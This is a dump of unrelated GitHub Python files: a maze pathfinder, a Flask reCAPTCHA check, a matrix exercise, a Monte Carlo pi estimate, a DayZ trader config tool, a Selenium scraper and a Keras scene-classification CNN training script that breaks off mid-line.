id=str(int(row[1].value)),\n last_name=row[2].value,\n first_name=row[3].value,\n order_id=row[4].value,\n message=row[5].value,\n amount=int(row[6].value),\n )\n\ndef load_transactions(filename):\n wb = load_workbook(filename)\n return transactions(wb)\n\n","repo_name":"realistforeningen/rf-members","sub_path":"vippsparser.py","file_name":"vippsparser.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9039262389","text":"import sys\r\n\r\n# aumenta la recursividad limite que el sistema dispone. El numero es 1000\r\nsys.setrecursionlimit(300000)\r\n\r\na = \"\\n\".join([\r\n \".W.\",\r\n \".W.\",\r\n \"...\"\r\n])\r\n\r\nb = \"\\n\".join([\r\n \".W.\",\r\n \".W.\",\r\n \"W..\"\r\n])\r\n\r\nc = \"\\n\".join([\r\n \"......\",\r\n \"...W..\",\r\n \"......\",\r\n \"......\",\r\n \"......\",\r\n \".W....\"\r\n])\r\n\r\nd = \"\\n\".join([\r\n \"......\",\r\n \"......\",\r\n \"......\",\r\n \"......\",\r\n \".....W\",\r\n \"......\"\r\n])\r\n\r\ndef path_finder(maze):\r\n lista = maze.split()\r\n down = len(lista)\r\n size = len(lista[down-1])\r\n # departure box \r\n x = (0,0)\r\n a,b = x\r\n\r\n # we change string values ​​by integer\r\n for i in range(len(lista)):\r\n\r\n columns = []\r\n for j in lista[i]:\r\n if j == \"W\":\r\n columns.append(1)\r\n else:\r\n columns.append(0)\r\n lista[i] = columns\r\n\r\n #value that determines the exit box\r\n lista[down-1][size-1] = 3\r\n\r\n\r\n\r\n def travel(i, j):\r\n\r\n \r\n if lista[i][j] == 3:\r\n return [(i, j)]\r\n \r\n if lista[i][j] == 1:\r\n return []\r\n \r\n lista[i][j] = -1\r\n \r\n if i > 0 and lista[i - 1][j] in [0, 3]: # North\r\n path = travel(i - 1, j)\r\n if path: return [(i, j)] + path\r\n \r\n if j < len(lista[i]) - 1 and lista[i][j + 1] in [0, 3]: # West\r\n path = travel(i, j + 1)\r\n if path: return [(i, j)] + path\r\n \r\n if i < len(lista) - 1 and lista[i + 1][j] in [0, 3]: # South\r\n path = travel(i + 1, j)\r\n if path: return [(i, j)] + path\r\n \r\n if j > 0 and lista[i][j - 1] in [0, 3]: # East\r\n path = travel(i, j - 1) \r\n if path: return [(i, j)] + path\r\n \r\n return []\r\n\r\n \r\n\r\n for x in travel(a,b): a,b = x\r\n if lista[a][b] == 3:\r\n return True\r\n else:\r\n return False\r\n\r\ndef path_finder2(maze):\r\n g = maze.splitlines()\r\n end, bag = len(g[0]) -1 + len(g) * 1j - 1j, {0}\r\n grid = {x + y * 1j for y,l in enumerate(g) for x,c in enumerate(l) if '.' == c}\r\n while bag:\r\n if end in bag: return True\r\n grid -= bag\r\n bag = grid & set.union(*({z + 1j ** k for k in range(4)} for z in bag))\r\n return False\r\n\r\nprint(path_finder(c))\r\nprint(path_finder2(c))\r\n\r\n","repo_name":"Cainuriel/Training-Python-","sub_path":"algoritmo_laberinto.py","file_name":"algoritmo_laberinto.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24335842483","text":"from flask import Flask, render_template, jsonify, request, json\nimport requests\n\napp = Flask(__name__)\n\n\n@app.route('/', methods=['GET'])\ndef index():\n return render_template(\"index.html\")\n\n\n@app.route('/verify', methods=['POST'])\ndef verify():\n # reCAPTCHAP server side\n recaptcha_url = 'https://www.google.com/recaptcha/api/siteverify'\n recaptcha_secret_key = '{ Your Secret Key}'\n payload = {\n 'secret': recaptcha_secret_key,\n 'response': request.form.get('g-recaptcha-response', \"\"), # token from client-side\n 'remoteip': request.remote_addr,\n }\n verify_response = requests.post(recaptcha_url, data=payload)\n if verify_response.status_code != 200:\n return render_template(\"fail.html\")\n else:\n result = verify_response.json()\n success = result['success']\n if success is True:\n return render_template(\"success.html\")\n else:\n return render_template(\"fail.html\")\n\n\nif __name__ == \"__main__\":\n app.run(port=5000)\n","repo_name":"nottfree/google-recaptcha","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3606656754","text":"n, m = [int(x) for x in input().split()]\nmatrix = [[int(x) for x in input().split()] for y in range(n)]\nSIZE = 3\nbest_row = 0\nbest_col = 0\n\n\ndef get_sum_of_submatrix(matrix, row_index, column_index, size):\n the_sum = 0\n\n for r in range(row_index, row_index + size):\n for c in range(column_index, column_index + size):\n the_sum += matrix[r][c]\n\n return the_sum\n\n\nbest_sum = get_sum_of_submatrix(matrix, 0, 0, SIZE)\n\nfor r in range(len(matrix) - SIZE + 1):\n for c in range(len(matrix[r]) - SIZE + 1):\n current_sum = matrix[r][c] + matrix[r][c + 1] + \\\n matrix[r][c + 2] + matrix[r + 1][c] + \\\n matrix[r + 1][c + 1] + matrix[r + 1][c + 2] + \\\n matrix[r + 2][c] + matrix[r + 2][c + 1] + matrix[r + 2][c + 2]\n\n if best_sum < current_sum:\n best_sum, best_row, best_col = current_sum, r, c\n\n\nprint(f'Sum = {best_sum}')\nprint(matrix[best_row][best_col], matrix[best_row][best_col + 1], matrix[best_row][best_col + 2])\nprint(matrix[best_row + 1][best_col], matrix[best_row + 1][best_col + 1], matrix[best_row + 1][best_col + 2])\nprint(matrix[best_row + 2][best_col], matrix[best_row + 2][best_col + 1], matrix[best_row + 2][best_col + 2])\n\n","repo_name":"Velin-Todorov/SoftUni","sub_path":"Multidimensional lists/maximal sum.py","file_name":"maximal sum.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"31795481485","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom typing import TextIO\nfrom lab_types import Function, Point, Interval\n\n\ndef read_points(stream: TextIO) -> list[Point]:\n result = []\n line = stream.readline()\n while line and line != '\\n':\n x, y = map(float, line.strip().split())\n result.append(Point(x, y))\n line = stream.readline()\n return result\n\n\ndef read_interval(stream: TextIO) -> Interval:\n left, right = map(float, stream.readline().split())\n return Interval(left, right)\n\n\ndef read_number(stream: TextIO) -> int:\n return int(stream.readline().strip())\n\n\ndef read_float(stream: TextIO) -> float:\n return float(stream.readline().strip())\n\n\ndef show_interpolation(points: list[Point], func: Function, title='Интерполяция', original_func=None):\n vectorized_func = np.vectorize(func)\n data_x = list(map(lambda point: point.x, points))\n data_y = list(map(lambda point: point.y, points))\n plt.title(title)\n plt.grid(True, which='both')\n plt.xlabel('X')\n plt.ylabel('Y')\n plt.ylim(_limit_axis(data_y, 0.5))\n\n x_values = np.linspace(min(data_x), max(data_x), 100)\n y_values = vectorized_func(x_values)\n\n plt.scatter(data_x, data_y, s=20, zorder=10, color='black')\n plt.plot(x_values, y_values, 'red', zorder=5, label='Интерполяционный многочлен')\n if original_func:\n original_values = np.vectorize(original_func)(x_values)\n plt.plot(x_values, original_values, 'blue', zorder=5, label='Изначальная функция')\n\n plt.legend(loc='lower center', fontsize='medium', bbox_to_anchor=(1, 1))\n plt.tight_layout()\n plt.savefig('График {}.png'.format(title))\n plt.show()\n\n\ndef _limit_axis(data: list[float], relative_margin: float) -> tuple[float, float]:\n data_max = max(data)\n data_min = min(data)\n margin = relative_margin * (data_max - data_min)\n return data_min - margin, data_max + margin\n","repo_name":"raineduc/comp_math","sub_path":"lab5/lab_io.py","file_name":"lab_io.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30024151448","text":"# -------Monte Carlo evaluation of pi in a hypersphere-------\n# By Amol Deshmukh, The City College of New York, 01 October 2018.\n\nimport numpy as np\nfrom scipy.special import gamma\nimport matplotlib.pyplot as plt\nfrom numpy import random\n\ndef pi_calculator(n_points, n_dim):\n\t\"\"\"\n\tn_points: number of random points for the analysis\n\tn_dim: number of dimensions of a hypercube\n\t\"\"\"\n\tx = []\n\tfor _ in range(n_dim): x.append(2*random.rand(n_points)-1)\n\n\tradius_squared = 0\t\n\tfor i in range(n_dim):\n\t\tradius_squared += x[i]**2\t\n\t\tdistance = (radius_squared)**0.5 \n\n\tpts_inside = distance[distance < 1]\n\n\tpi = (2**n_dim*(len(pts_inside)/float(n_points))*gamma((n_dim/2)+1))**(2/n_dim)\t\n\t\n\treturn pi\n\ndef ensemble(n_sim, n_points, n_dim):\n\t\"\"\"\n\tn_sim: number of Monte Carlo simulations\n\tn_points: number of random points for the analysis\n\tn_dim: number of dimensions of a hypercube\n\t\"\"\"\n\tpi_ensemb = []\n\n\tfor _ in range(n_sim): pi_ensemb.append(pi_calculator(n_points, n_dim))\n\n\treturn sum(pi_ensemb)/float(len(pi_ensemb))\n\nprint('Pi using two-dimensional sphere (i.e. circle): {}'.format(ensemble(10**3, 10**6, 2)))\n\nprint('Pi using 10-dimensional sphere: {}'.format(ensemble(10**3, 10**6, 10)))\n","repo_name":"des137/Monte-Carlo-Methods-on-Statistical-Systems","sub_path":"simple_example/hypersphere.py","file_name":"hypersphere.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26244903138","text":"from . import db\nfrom mysql.connector import IntegrityError\n\ndef create(userId, name) -> bool:\n try:\n cnx = db.get_db()\n cursor = cnx.cursor()\n \n data = (userId, name)\n query = (\"insert into Member (userId, name) values (%s, %s)\")\n \n cursor.execute(query, data)\n cnx.commit()\n return True\n except IntegrityError:\n return False\n except Exception as e:\n raise e\n finally:\n cursor.close()\n cnx.close()\n \ndef get_member_id_by_userId(userId) -> int:\n try:\n cnx = db.get_db()\n cursor = cnx.cursor()\n\n data = (userId,)\n query = (\"SELECT id FROM Member WHERE userId = %s\")\n cursor.execute(query, data)\n result = cursor.fetchone()\n member_id = result[0]\n return member_id\n except Exception as e:\n raise e\n finally:\n cursor.close()\n cnx.close()","repo_name":"ChengTze-Wu/TimeLink","sub_path":"timelink/model/member.py","file_name":"member.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26517601887","text":"from bs4 import BeautifulSoup # module for web scraping/parsing\nfrom selenium import webdriver # selenium modules are used for creating/simulating a web browser \nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions \nimport pymongo # mongodb client module\nfrom db_config import * # importing config parameters for mongodb access\nimport time # time module to call sleep\nimport datetime\nfrom random import seed, randint # to generate a random number for POLL_WAIT_TIME\n\n# Function to extract critical products data from the sample url\n# input: take in the url to scraper\n# output: returns a list of the critical products on the url\ndef extract_data(url ): \n critical_products_inventory = []\n\n # return an empty list if url is an empty string\n if not url: return []\n try:\n # Set the options to create a headless browser instance for ease of automation\n opts = Options()\n opts.headless = True\n\n # create an instances of Firebox browser to access the web content\n browser = webdriver.Firefox(options=opts, executable_path='c:/Users/frank/Downloads/geckodriver-v0.27.0-win64/geckodriver.exe') \n browser.get(url)\n \n # Because the website provided contains dynamic pages, its content\n # may not have been rendered before attempting to retrieve the page source, \n # this wait call will handle that concern.\n # This will wait until the data of interest (i.e. the critical products) are available to be extracted\n # This is more efficient than using a sleep command as for this, we'll wait only as long as required and no more\n browser.implicitly_wait(5)\n critical_products_container_checker = browser.find_element_by_class_name(\"critical-product-table-container\")\n \n # Retrieve the page source from the browser instance\n page_source = browser.page_source\n\n # Create an instance of BeautifulSoup with html5lib parser\n # to simplify the scraping/parsing of the page source\n parsed_web_content = BeautifulSoup(page_source, 'html5lib')\n # Extract the product inventory from the table within the critical-product-container\n critical_products_container = parsed_web_content.find('div', attrs={\"class\":\"table shorten hide-mobile\"})\n\n products_div_list = critical_products_container.find_all('div', attrs={\"class\":\"line-item\"})\n\n # Traverse the product-title-container tag to retrieve the critical products as well as their available quantity\n for product_div in products_div_list:\n product = product_div.find('div', attrs={\"class\": \"line-item-title\"}).get_text()\n available_quantity = product_div.find('div', attrs={\"class\": \"line-item-bold available\"}).get_text().replace('available','')\n critical_products_inventory.append((product, available_quantity))\n \n except Exception as e :\n print ('Error while scraping web page: %s', str(e))\n exit()\n finally:\n # Close browser instance\n browser.close()\n return critical_products_inventory\n \n\n# Function to load the products inventory into the database\n# input: takes a list of the critical products and their available count\n# output: 0 if successful or 1 otherwise\ndef ingest_data_into_db(inventory):\n current_datetime = datetime.datetime.now()\n\n try:\n \n # Database properties to access the mongodb\n mongodb_client = pymongo.MongoClient(\"mongodb://%s:%d\" % (DB_HOST,int(DB_PORT)),\n authSource=DB_NAME,\n username=DB_USER,\n password=DB_PASSWORD\n )\n database = mongodb_client[DB_NAME]\n # drop the collection if already exists\n database[COLLECTION].drop()\n product_collection = database[COLLECTION]\n \n for product, quantity in inventory:\n print (\"Inserting %s %s into product collection\" % (product, quantity))\n product_collection.insert_one({'name': product, 'available_qty':quantity, 'last_updated': current_datetime})\n\n\n except Exception as e:\n print ('Error while writing to database: %s'% str(e))\n return 1\n finally:\n # close db connection\n mongodb_client.close()\n \n return 0\n\n# main method\nif __name__ == \"__main__\":\n # An ideal best practice for scraping is to follow the standard crawl-delay which is 10secs\n # (adhered to by Google and Yahoo bots, for example) or otherwise specified in the robots.txt for the site. \n # This is to ensure that the web pages being crawled don't get overwhelmed with too frequent hits. \n # Aside from that, varying the frequency of the hit will also help reduce any suspicion that it's a bot/script\n # that's crawling the site. For that reason, the POLL_WAIT_TIME will be a randomly generated number\n # between 10 secs (being the minimum standard) and 120 secs so there's no set pattern. \n # However, when done at scale,the following tactics can be added: spoofing, using proxy services/rotating IPs or even crawling the site during off-peak time; \n # These will reduce the chances of the crawler being detected and blocked \n\n while True:\n POLL_WAIT_TIME = randint(10, 120) \n print ( POLL_WAIT_TIME)\n # Extract data from sample url\n print('Extracting products data from source...')\n product_inventory = extract_data('https://www.rrpcanada.org/#/')\n\n # Load data into the database\n print('Ingesting data into the db...')\n if product_inventory:\n ingest_data_into_db(product_inventory)\n\n\n time.sleep(POLL_WAIT_TIME)\n\n","repo_name":"franklin-dunamisIT/etl-test-optima","sub_path":"web_scraper.py","file_name":"web_scraper.py","file_ext":"py","file_size_in_byte":6115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30244096677","text":"\n # rekurzió használata\ndef faktorial(N): #rand..+n.\n arr = {} #arrange\n if N in arr:\n return arr[N]\n elif N == 0 or N == 1:\n return 1\n arr[N] = 1\n else:\n fakt = N * faktorial(N - 1)\n arr[N] = fakt\n return fakt\n\n\nnum = int(input(\"Irjon be egy számot \"))\n\nprint(\"faktoriálisa: \", num, \" (dynamic): \", end=\"\")\nprint(faktorial(num))","repo_name":"Laci202/urlap","sub_path":"ciklusstb/ciklus_fakto.2.py","file_name":"ciklus_fakto.2.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20793292714","text":"import datetime\nimport os\n\nfrom nextcord import Colour, Embed, Message\n\nfrom src.sql.sql_manager import DBConnect\nfrom src.dayz.clean_trader_file import open_config, parse_config\n\n\nclass TraderConfigManager(DBConnect):\n async def load_traderconfig_to_db(self, message: Message, duid: int, map_name: str):\n items = parse_config(open_config(duid, map_name))\n print(map_name)\n for idx, line in enumerate(items):\n self.insert_into_traderconfig(duid, map_name, line[0], line[1], line[2], line[3], line[4], line[5])\n\n if idx % 25 == 0: \n self.commit()\n est_perc = f\"{round((idx / len(items)) * 100, 2)}%\"\n embed = Embed(title=\"loading TraderConfig.txt to db\", description=\"This will take some time.\", color=Colour.yellow())\n embed.add_field(name=map_name, value=est_perc)\n await message.edit(embed=embed)\n self.commit()\n self.close()\n\n\n async def create_new_traderconfig(self, message, duid, map_name):\n label = \"\"\"\n //---------------------------------------------------------------------------------------------//\n // //\n // generated on: {:<45}//\n // number of vendors: {:<45}//\n // total number of items: {:<45}//\n // //\n //---------------------------------------------------------------------------------------------//\n\n\n <CurrencyName> #tm_ruble\n <Currency> MoneyRuble1, \t1\n <Currency> MoneyRuble5, \t5\n <Currency> MoneyRuble10, \t10\n <Currency> MoneyRuble25, \t25\n <Currency> MoneyRuble50, \t50\n <Currency> MoneyRuble100, \t100\n\n\n\"\"\"\n\n with open(f\"_files/{duid}/maps/{map_name}/outputs/TraderConfig.txt\", \"w\") as fout:\n stats = self.c.callproc(\"select_stats\", args=(duid, map_name, \"\", \"\"))\n today = datetime.date.today().strftime(\"%m/%d/%Y\")\n start_time = datetime.datetime.now()\n\n fout.writelines(label.format(today, stats[2], stats[3]))\n\n\n self.c.callproc(\"select_map_traders\", args=(duid, map_name))\n traders_generator = self.c.stored_results()\n idx = 0\n \n for trader_c in traders_generator:\n trader_list = [i[0] for i in trader_c.fetchall()]\n\n\n est_perc = f\"0.0%\" # embed\n for trader in trader_list:\n embed = Embed(title=\"Rendering TraderConfig.txt\", description=\"This will a little bit of time\", color=Colour.yellow(), timestamp=start_time)\n embed.add_field(name=map_name, value=est_perc, inline=False) # embed\n\n fout.write(f\"<Trader> {trader}\\n\")\n self.c.callproc(\"select_map_trader_categories\", args=(duid, map_name, trader))\n category_generator = self.c.stored_results()\n\n for category_c in category_generator:\n category_list = [i[0] for i in category_c.fetchall()]\n\n\n for category in category_list:\n\n fout.write(f\"\\t<Category> {category}\\n\")\n self.c.callproc(\"select_map_trader_category_products\", args=(duid, map_name, trader, category))\n product_generator = self.c.stored_results()\n \n product_list = []\n for product_c in product_generator:\n product_list += product_c.fetchall()\n\n embed.add_field(name=category, value=len(product_list), inline=True) # embed\n for product in product_list:\n idx += 1\n est_perc = f\"{round((idx / stats[2]) * 100, 2)}%\"\n\n product_str = \"\\t\\t{:<55}{:<5}{:<10}{:<10}\\n\"\n fout.write(product_str.format(\n str(product[0]) + \",\", \n str(product[1]) + \",\", \n str(product[2]) + \",\", \n product[3]))\n await message.edit(embed=embed)\n fout.write(\"\\n\")\n fout.write(\"<FileEnd>\")\n \n end_time = datetime.datetime.now()\n\n deltatime = end_time - start_time\n seconds_in_day = 24 * 60 * 60\n ex_time = divmod(deltatime.days * seconds_in_day + deltatime.seconds, 60)\n\n embed = Embed(title=\"Rendering TraderConfig.txt\", description=f\"This took {ex_time[0]} minutes and {ex_time[1]} seconds\", color=Colour.green(), timestamp=start_time)\n embed.add_field(name=map_name, value=\"Complete!\", inline=True)\n embed.add_field(name=\"Items in file\", value=stats[1], inline=True)\n\n await message.edit(embed=embed)\n\n\nif __name__ == \"__main__\":\n tcm = TraderConfigManager()\n tcm.create_new_traderconfig(\"Namalsk\")\n print(\"TraderConfig.txt Complete!\")\n","repo_name":"Rdoolittle90/Dayz-File-Bot","sub_path":"src/dayz/traderconfig_manager.py","file_name":"traderconfig_manager.py","file_ext":"py","file_size_in_byte":5212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28513789144","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import KFold\n\ndata = pd.read_csv(\"iris.csv\")\n\ninputs = data.drop('species', axis = 1)\ntarget = data['species']\n\nkf = KFold(n_splits=10)\nkf.get_n_splits(inputs)\n\nprint(kf)\n\nfor train_index, test_index in kf.split(inputs):\n print(\"TRAIN:\", train_index, \"TEST:\", test_index)\n","repo_name":"fata-nugraha/MLP","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30565597276","text":"import tensorflow as tf\nfrom tensorflow import keras\nimport numpy as np\nimport SEED\nimport SaveRes\nfrom tensorflow.keras import backend as kerasbe\n\nCHOSEN_SEED = SEED.seed()\n\ntf.random.set_seed(CHOSEN_SEED)\n\n# Filename in which to save some important results\nRESULT_FILE_NAME = \"result_file.txt\"\n\n# List of directory names\ndirectory_names = [\n \"TallBuilding\", \"Suburb\", \"Street\", \"Store\", \"OpenCountry\", \"Office\",\n \"Mountain\", \"LivingRoom\", \"Kitchen\", \"InsideCity\", \"Industrial\", \"Highway\",\n \"Forest\", \"Coast\", \"Bedroom\"\n]\n\ntrainall = False\nloadall = False\n# Set to True a value to train a Network specific to a part of the exercise\nto_train = dict(base=False,\n augment=False,\n batchno=False,\n finetune=False,\n incrconv=False,\n vgg=False,\n dropout=False,\n regs_1 = True,\n extravgg = False,\n regslad = True,\n basead = False,\n batchad = False,\n extravggad = False)\nto_load = dict(base=True,\n augment=True,\n batchno=True,\n finetune=True,\n incrconv=True,\n vgg=True,\n dropout=True,\n regs_1 = False,\n extravgg = True,\n regslad = False,\n basead = True,\n batchad = True,\n extravggad = True)\nif (trainall):\n for key in to_train.keys():\n to_train[key] = True\nif (loadall):\n for key in to_load.keys():\n to_load[key] = True\nfor key in to_train.keys():\n if (not (to_train[key] != to_load[key])):\n print(\"Error occured when processing key \" + str(key))\n raise (NameError(\"Contradicting instructions: train or load? \"))\n\n# PIck value for momentum = 0.9 following deeplearningbook.pdf\n# and momentum.pdf (article with Hinton as coauthor)\n\n# START LOADING THE DATASET\n\nimg_height = 64\nimg_width = 64\ninput_image_size = (img_height, img_width)\nsize_validation = 0.15\n# Only anisotropic scaling: this value must be set to False\npreserve_aspect_ratio = False\n# In Keras, the batch size is defined when building the dataset\nbatch_size = 32\n# The subset argument is to be set according to the dataset that will\n# be returned (set to \"training\" to get the training set, and to\n# \"validation\" to get the validation dataset)\ntraining_dataset = keras.utils.image_dataset_from_directory(\n directory=\"data/train\",\n color_mode=\"grayscale\",\n batch_size=batch_size,\n seed=CHOSEN_SEED,\n image_size=input_image_size,\n validation_split=0.15,\n subset=\"training\",\n interpolation=\"bilinear\",\n crop_to_aspect_ratio=preserve_aspect_ratio)\n\nvalidation_dataset = keras.utils.image_dataset_from_directory(\n directory=\"data/train\",\n color_mode=\"grayscale\",\n batch_size=batch_size,\n seed=CHOSEN_SEED,\n image_size=input_image_size,\n validation_split=0.15,\n subset=\"validation\",\n interpolation=\"bilinear\",\n crop_to_aspect_ratio=preserve_aspect_ratio)\n# Build the architecture specified in the directions\n# Prepare the layers with the specified intializers\n## Default bias initializer is already \"zeros\"\n\n# The input layer will also normalize the input\nkernel_weights_initializer = keras.initializers.RandomNormal(mean=0.0,\n stddev=0.01)\nconv_1 = keras.layers.Conv2D(8, (3, 3),\n strides=(1, 1),\n kernel_initializer=kernel_weights_initializer,\n padding=\"same\")\nrelu_1 = keras.layers.ReLU()\npool_1 = keras.layers.MaxPool2D(pool_size=(2, 2), strides=(2, 2))\nconv_2 = keras.layers.Conv2D(16, (3, 3),\n strides=(1, 1),\n kernel_initializer=kernel_weights_initializer,\n padding=\"same\")\nrelu_2 = keras.layers.ReLU()\npool_2 = keras.layers.MaxPool2D(pool_size=(2, 2), strides=(2, 2))\nconv_3 = keras.layers.Conv2D(32, (3, 3),\n strides=(1, 1),\n kernel_initializer=kernel_weights_initializer,\n padding=\"same\")\nrelu_3 = keras.layers.ReLU()\nfully_connected = keras.layers.Dense(\n 15, kernel_initializer=kernel_weights_initializer)\nsoftmax_layer = keras.layers.Softmax()\n\npartone_model = keras.Sequential([\n keras.layers.Rescaling(1. / 255, input_shape=(img_height, img_width, 1)),\n conv_1,\n relu_1,\n pool_1,\n conv_2,\n relu_2,\n pool_2,\n conv_3,\n relu_3,\n # Flatten before fully connected\n keras.layers.Flatten(),\n fully_connected,\n softmax_layer\n])\n\n###keras.utils.plot_model(partone_model,\n# to_file=\"partonemodel.png\",\n# show_shapes=True,\n# show_layer_names=False,\n# dpi=300,\n# show_layer_activations=True)\n\n#### About Sparse\n# In what follows, SparseCategoricalAccuracy is used instead of\n# CategoricalAccuracy because the labels are given as integers (see\n# the Keras documentation. SparseCategoricalAccuracy may be slightly\n# more efficient)\n\n# See report for reference for this specific momentum rate\n# In Keras, default momentum is 0.0, so it needs to be specified\nmomentum_constant = 0.9\nlearning_rate_constant = 0.001\npartone_model.compile(optimizer=keras.optimizers.SGD(\n learning_rate=learning_rate_constant, momentum=momentum_constant),\n loss=keras.losses.SparseCategoricalCrossentropy(),\n metrics=[keras.metrics.SparseCategoricalAccuracy()])\n\n# Since the dataset already takes care of batching,\n# we don't pass a `batch_size` argument.\n\n### EARLY STOPPING CRITERION\n\n# Custom defined stopping criteria\nimport StoppingCriteria\n\n# Changed: patience was 1000\nstop_criterion = keras.callbacks.EarlyStopping(\n monitor=\"val_sparse_categorical_accuracy\",\n patience=400,\n mode=\"max\",\n restore_best_weights=True)\nstop_criterion_second = keras.callbacks.EarlyStopping(\n monitor=\"val_sparse_categorical_accuracy\",\n patience=500,\n mode=\"max\",\n restore_best_weights=True)\n\nplateu_change = keras.callbacks.ReduceLROnPlateau(monitor=\"val_loss\",\n patience=50,\n factor=0.5,\n min_lr=1e-5,\n verbose=1)\n\nval_stop_criterion = keras.callbacks.EarlyStopping(monitor=\"val_loss\",\n patience=20,\n mode=\"min\",\n restore_best_weights=True)\n\nadd_stop_criterion = StoppingCriteria.EarlyStoppingByAccuracy(value=0.9,\n patience=5)\nadd_stop_criterion_2 = StoppingCriteria.EarlyStoppingByAccuracy(value=0.9,\n patience=5)\n\nstop_after_treshold = StoppingCriteria.EarlyStoppingAfterTreshold(trsh=0.30,\n patience=30)\n\nif (to_train[\"base\"]):\n history = partone_model.fit(\n training_dataset,\n validation_data=validation_dataset,\n epochs=10000,\n callbacks=[add_stop_criterion, stop_after_treshold])\n partone_model.save(\"trained_base_model\")\n # Plot the loss and the accuracy\n SaveRes.history_plot(history, [\"loss\", \"val_loss\"], [\"Epoch\", \"\"],\n \"loss_base.png\", [\"k\", \"g\"])\n SaveRes.history_plot(\n history,\n [\"sparse_categorical_accuracy\", \"val_sparse_categorical_accuracy\"],\n [\"Epoch\", \"\"], \"accuracy_base.png\", [\"b\", \"k\"])\n SaveRes.history_save(history,\"base_case_log\")\nif (to_load[\"base\"]):\n partone_model = keras.models.load_model('trained_base_model')\n# Now test\ntest_dataset = keras.utils.image_dataset_from_directory(\n directory=\"data/test\",\n color_mode=\"grayscale\",\n batch_size=batch_size,\n seed=CHOSEN_SEED,\n image_size=input_image_size,\n interpolation=\"bilinear\",\n crop_to_aspect_ratio=preserve_aspect_ratio)\n\n# test the model\ntest_history = partone_model.evaluate(test_dataset, return_dict=False)\n\n# Save the important metrics to file\nSaveRes.savetofile(\"Loss, accuracy for the base case: \", test_history)\n\n# Now compute the confusion matrix (the file Confusion has routines that automatically save to a file)\nimport Confusion\n\n# Get the true labels:\ntrue_lab = Confusion.true_labels(test_dataset)\n\n# Now get the predicted labels\ny_pred = np.argmax(partone_model.predict(test_dataset), axis=1)\n\n# Now, compute the confusion matrix and save it to file.\nConfusion.save_confusion_matrix(y_pred, true_lab, test_dataset.class_names,\n \"firstconfusion.png\")\n\n#######################################################################\n########### BEGIN PART TWO ############################################\n#######################################################################\n\nimport Part2\n\n# Clear the object from the first part\ndel partone_model\n\naugmented_dataset = training_dataset.map(Part2.aug_lr_flip)\n# Now create a training dataset by concatening both of them\ncomplete_dataset = training_dataset.concatenate(augmented_dataset)\n# Let's shuffle\ncomplete_dataset = complete_dataset.shuffle(3000, seed=CHOSEN_SEED)\n# Train the Network again, with the augmented dataset\n\n# First, get the base model\nmodel_second = Part2.get_untrained_base_model()\n\n# Now, compile it\nmodel_second.compile(optimizer=keras.optimizers.SGD(\n learning_rate=learning_rate_constant, momentum=momentum_constant),\n loss=keras.losses.SparseCategoricalCrossentropy(),\n metrics=[keras.metrics.SparseCategoricalAccuracy()])\nadd_stop_criterion_3 = StoppingCriteria.EarlyStoppingByAccuracy(value=0.9,\n patience=5)\n#add_stop_criterion_3 = keras.callbacks.EarlyStopping(patience = 50);\n# Now train, with the augmented dataset\n#Try with a reduced learning rate\naugment_reduce = keras.callbacks.ReduceLROnPlateau(patience = 300, factor = 0.1,cooldown=20)\nstop_val = keras.callbacks.EarlyStopping(patience = 400)\nif (to_train[\"augment\"]):\n history_augmented = model_second.fit(\n complete_dataset,\n validation_data=validation_dataset,\n epochs=2000,\n callbacks=[ stop_val, augment_reduce]) #,augment_reduce]) #stop_Criterion #was add_stop_criterion_3, changed stop_val\n SaveRes.history_save(history_augmented,\"augment_case_log.csv\")\n \n # Save once tha training stops\n model_second.save(\"trained_with_augmented\")\nif (to_load[\"augment\"]):\n model_second = keras.models.load_model(\"trained_with_augmented\")\n\n# Evaluate on the test set and save the result to file\nSaveRes.eval_and_save(test_dataset, model_second,\n \"After augmenting all the images with lr flip: \")\n\n#### BATCH NORMALIZATION ################\nbatchno_model = Part2.get_model_batchno()\n\n# With BatchNormalization, it is possible to increase the learning rate (see Ioffe-Szegedy).\nbatchno_model.compile(optimizer=keras.optimizers.SGD(\n learning_rate=0.01, momentum=momentum_constant),\n loss=keras.losses.SparseCategoricalCrossentropy(),\n metrics=[keras.metrics.SparseCategoricalAccuracy()])\n\nbatchno_stop_criterion = keras.callbacks.EarlyStopping(\n monitor=\"val_loss\", patience=30, restore_best_weights=True)\nadd_stop_criterion = StoppingCriteria.EarlyStoppingByAccuracy(value=0.9,\n patience=5)\n# Train\nif (to_train[\"batchno\"]):\n history_batchno = batchno_model.fit(\n training_dataset,\n validation_data=validation_dataset,\n epochs=500,\n callbacks=[batchno_stop_criterion])\n SaveRes.history_save(history_batchno,\"batchno_case_log\")\n batchno_model.save(\"batchno\")\n\nif (to_load[\"batchno\"]):\n batchno_model = keras.models.load_model(\"batchno\")\n# Evaluate on the test set and 